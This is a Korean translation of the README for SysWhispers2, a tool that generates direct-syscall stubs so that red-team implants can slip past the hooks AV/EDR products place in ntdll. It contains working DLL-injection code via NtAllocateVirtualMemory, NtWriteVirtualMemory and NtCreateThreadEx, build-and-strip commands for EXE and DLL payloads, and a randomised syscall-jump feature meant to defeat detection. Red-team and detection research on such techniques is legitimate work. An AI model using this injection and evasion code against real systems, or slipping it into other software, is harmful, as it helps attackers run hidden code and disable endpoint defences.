
직접 시스템 호출을 통한 AV/EDR 회피
SysWhispers는 직접 시스템 호출을 하기 위해 임플란트가 사용할 수 있는 헤더/ASM 파일을 생성하여 회피를 돕습니다.
모든 핵심 시스템 호출이 지원되며, 생성된 예제 파일은 example-output/ 폴더에서 확인할 수 있습니다.
사용법은 SysWhispers1과 거의 동일하지만, 지원할 Windows 버전을 지정할 필요가 없습니다. 대부분의 변경 사항은 내부에 있습니다. 더 이상 @j00ru의 시스템 호출 테이블에 의존하지 않고, @modexpblog가 대중화한 "시스템 호출 주소로 정렬" 기술을 사용합니다. 이로 인해 시스템 호출 스텁의 크기가 크게 줄어듭니다.
SysWhispers2의 구체적인 구현은 @modexpblog 코드의 변형입니다. 한 가지 차이점은 함수 이름 해시가 생성할 때마다 무작위화된다는 점입니다. 이 기술을 먼저 발표한 @ElephantSe4l은 C++17 기반의 다른 구현도 가지고 있으며, 이것도 확인해볼 가치가 있습니다.
원본 SysWhispers 저장소는 여전히 유지되고 있지만 향후 폐기될 수 있습니다.
다양한 보안 제품은 사용자 모드 API 함수에 후크를 설치하여 실행 흐름을 자체 엔진으로 리디렉션하고 의심스러운 동작을 탐지합니다. 시스템 호출을 수행하는 ntdll.dll의 함수는 몇 가지 어셈블리 명령어로만 구성되어 있으므로, 이를 자체 임플란트에서 다시 구현하면 해당 보안 제품 후크의 트리거를 우회할 수 있습니다. 이 기술은 @Cn33liz에 의해 대중화되었으며, 그의 블로그 게시글에는 더 많은 기술적 세부 사항이 있으니 읽어볼 가치가 있습니다.
SysWhispers는 레드 팀에게 핵심 커널 이미지(ntoskrnl.exe)의 모든 시스템 호출에 대한 헤더/ASM 쌍을 생성할 수 있는 기능을 제공합니다. 헤더에는 필요한 형식 정의도 포함됩니다.
> git clone https://github.com/jthuraisamy/SysWhispers2.git
> cd SysWhispers2
> py .\syswhispers.py --help
# Export all functions with compatibility for all supported Windows versions (see example-output/).
py .\syswhispers.py --preset all -o syscalls_all
# Export just the common functions (see below for list).
py .\syswhispers.py --preset common -o syscalls_common
# Export NtProtectVirtualMemory and NtWriteVirtualMemory with compatibility for all versions.
py .\syswhispers.py --functions NtProtectVirtualMemory,NtWriteVirtualMemory -o syscalls_mem
PS C:\Projects\SysWhispers2> py .\syswhispers.py --preset common --out-file syscalls_common
python syswhispers.py -p all -a all -l all -o example-output/Syscalls
. ,--.
,-. . . ,-. . , , |-. o ,-. ,-. ,-. ,-. ,-. /
`-. | | `-. |/|/ | | | `-. | | |-' | `-. ,-'
`-' `-| `-' ' ' ' ' ' `-' |-' `-' ' `-' `---
/| | @Jackson_T
`-' ' @modexpblog, 2021
SysWhispers2: Why call the kernel when you can whisper?
모든 함수가 선택되었습니다.
완료! 파일이 다음 위치에 기록되었습니다:
example-output/Syscalls.h
example-output/Syscalls.c
example-output/SyscallsStubs.std.x86.asm
example-output/SyscallsStubs.rnd.x86.asm
example-output/SyscallsStubs.std.x86.nasm
example-output/SyscallsStubs.rnd.x86.nasm
example-output/SyscallsStubs.std.x86.s
example-output/SyscallsStubs.rnd.x86.s
example-output/SyscallsInline.std.x86.h
example-output/SyscallsInline.rnd.x86.h
example-output/SyscallsStubs.std.x64.asm
example-output/SyscallsStubs.rnd.x64.asm
example-output/SyscallsStubs.std.x64.nasm
example-output/SyscallsStubs.rnd.x64.nasm
example-output/SyscallsStubs.std.x64.s
example-output/SyscallsStubs.rnd.x64.s
example-output/SyscallsInline.std.x64.h
example-output/SyscallsInline.rnd.x64.h
CreateRemoteThread DLL 인젝션의 전후 예제py .\syswhispers.py -f NtAllocateVirtualMemory,NtWriteVirtualMemory,NtCreateThreadEx -o syscalls
#include <Windows.h>
void InjectDll(const HANDLE hProcess, const char* dllPath)
{
LPVOID lpBaseAddress = VirtualAllocEx(hProcess, NULL, strlen(dllPath), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
LPVOID lpStartAddress = GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryA");
WriteProcessMemory(hProcess, lpBaseAddress, dllPath, strlen(dllPath), nullptr);
CreateRemoteThread(hProcess, nullptr, 0, (LPTHREAD_START_ROUTINE)lpStartAddress, lpBaseAddress, 0, nullptr);
}
#include <Windows.h>
#include "syscalls.h" // Import the generated header.
void InjectDll(const HANDLE hProcess, const char* dllPath)
{
HANDLE hThread = NULL;
LPVOID lpAllocationStart = nullptr;
SIZE_T szAllocationSize = strlen(dllPath);
LPVOID lpStartAddress = GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryA");
NtAllocateVirtualMemory(hProcess, &lpAllocationStart, 0, (PULONG)&szAllocationSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
NtWriteVirtualMemory(hProcess, lpAllocationStart, (PVOID)dllPath, strlen(dllPath), nullptr);
NtCreateThreadEx(&hThread, GENERIC_EXECUTE, NULL, hProcess, lpStartAddress, lpAllocationStart, FALSE, 0, 0, 0, nullptr);
}
--preset common 스위치를 사용하면 다음 함수들이 포함된 헤더/ASM 쌍이 생성됩니다:
다음 예제는 위 예제 프로그램을 MinGW 및 NASM 어셈블러를 사용하여 EXE 및 DLL로 컴파일하는 방법을 보여줍니다:
i686-w64-mingw32-gcc -c main.c syscalls.c -Wall -shared
nasm -f win32 -o syscallsstubs.std.x86.o syscallsstubs.std.x86.nasm
i686-w64-mingw32-gcc *.o -o temp.exe
i686-w64-mingw32-strip -s temp.exe -o example.exe
rm -rf *.o temp.exe
i686-w64-mingw32-gcc -c dllmain.c syscalls.c -Wall -shared
nasm -f win32 -o syscallsstubs.std.x86.o syscallsstubs.std.x86.nasm
i686-w64-mingw32-dllwrap --def dllmain.def *.o -o temp.dll
i686-w64-mingw32-strip -s temp.dll -o example.dll
rm -rf *.o temp.dll
x86_64-w64-mingw32-gcc -m64 -c main.c syscalls.c -Wall -shared
nasm -f win64 -o syscallsstubs.std.x64.o syscallsstubs.std.x64.nasm
x86_64-w64-mingw32-gcc *.o -o temp.exe
x86_64-w64-mingw32-strip -s temp.exe -o example.exe
rm -rf *.o temp.exe
x86_64-w64-mingw32-gcc -m64 -c dllmain.c syscalls.c -Wall -shared
nasm -f win64 -o syscallsstubs.std.x64.o syscallsstubs.std.x64.nasm
x86_64-w64-mingw32-gcc-dllwrap --def dllmain.def *.o -o temp.dll
x86_64-w64-mingw32-strip -s temp.dll -o example.dll
rm -rf *.o temp.dll
i686-w64-mingw32-gcc -m32 -Wall -c main.c syscalls.c syscallsstubs.std.x86.s -o temp.exe
i686-w64-mingw32-strip -s temp.exe -o example.exe
i686-w64-mingw32-gcc -m32 -Wall -c dllmain.c syscalls.c syscallsstubs.std.x86.s -o temp.dll
i686-w64-mingw32-dllwrap --def dllmain.def *.o -o temp.dll
i686-w64-mingw32-strip -s temp.dll -o example.dll
x86_64-w64-mingw32-gcc -m64 -Wall -c main.c syscalls.c syscallsstubs.std.x64.s -o temp.exe
x86_64-w64-mingw32-strip -s temp.exe -o example.exe
x86_64-w64-mingw32-gcc -m64 -Wall -c dllmain.c syscalls.c syscallsstubs.std.x64.s -o temp.dll
x86_64-w64-mingw32-dllwrap --def dllmain.def *.o -o temp.dll
x86_64-w64-mingw32-strip -s temp.dll -o example.dll
SysWhispers2는 ASM 스텁을 포함하는 clang 호환 .s 파일을 출력합니다. 이를 LLVM과 함께 사용하여 코드를 컴파일할 수 있습니다. 예를 들어, 위의 CreateRemoteThread DLL 인젝션 예제를 사용하면:
clang -D nullptr=NULL main.c syscall.c syscallstubs.std.x64.s -o test.exe
inlinegas 출력 옵션은 SysWhispers2의 헤더 전용 버전을 생성하며, BOF 컴파일과 함께 사용할 수 있습니다. 프로젝트에 헤더를 포함시키기만 하면 됩니다.
랜덤 시스템 호출 점프 루틴을 사용하면 "시스템 호출 표식"을 피할 수 있습니다. 어셈블리 스텁은 새로운 함수 SW__GetRandomSyscallAddress를 호출하며, 이 함수는 ntdll.dll에서 깨끗한 시스템 호출 명령어를 검색하고 선택합니다. 이렇게 하면 사용자랜드 시스템 호출 명령어의 트리거를 피할 수 있습니다.
랜덤 시스템 호출 점프를 사용하려면 프로그램을 컴파일할 때 RANDSYSCALL을 정의하고 SysWhispers2 출력의 rnd 버전을 사용해야 합니다. 다음 예제는 GNU 어셈블러 스텁을 사용하는 방법을 보여줍니다.
i686-w64-mingw32-gcc main.c syscalls.c syscallsstubs.rnd.x86.s -DRANDSYSCALL -Wall -o example.exe
x86_64-w64-mingw32-gcc main.c syscalls.c syscallsstubs.rnd.x64.s -DRANDSYSCALL -Wall -o example.exe
win32k.sys)의 시스템 호출은 지원되지 않습니다.syscalls.h의 typedef가 이미 정의된 경우 프로젝트가 컴파일되지 않을 수 있습니다.
--preset all은 거의 필요하지 않습니다).syscalls.h에서 제거할 수 있습니다.@Jackson_T와 @modexpblog가 개발했지만, 다른 많은 사람들의 작업을 기반으로 합니다:
이 프로젝트는 Apache License 2.0에 따라 라이선스가 부여됩니다.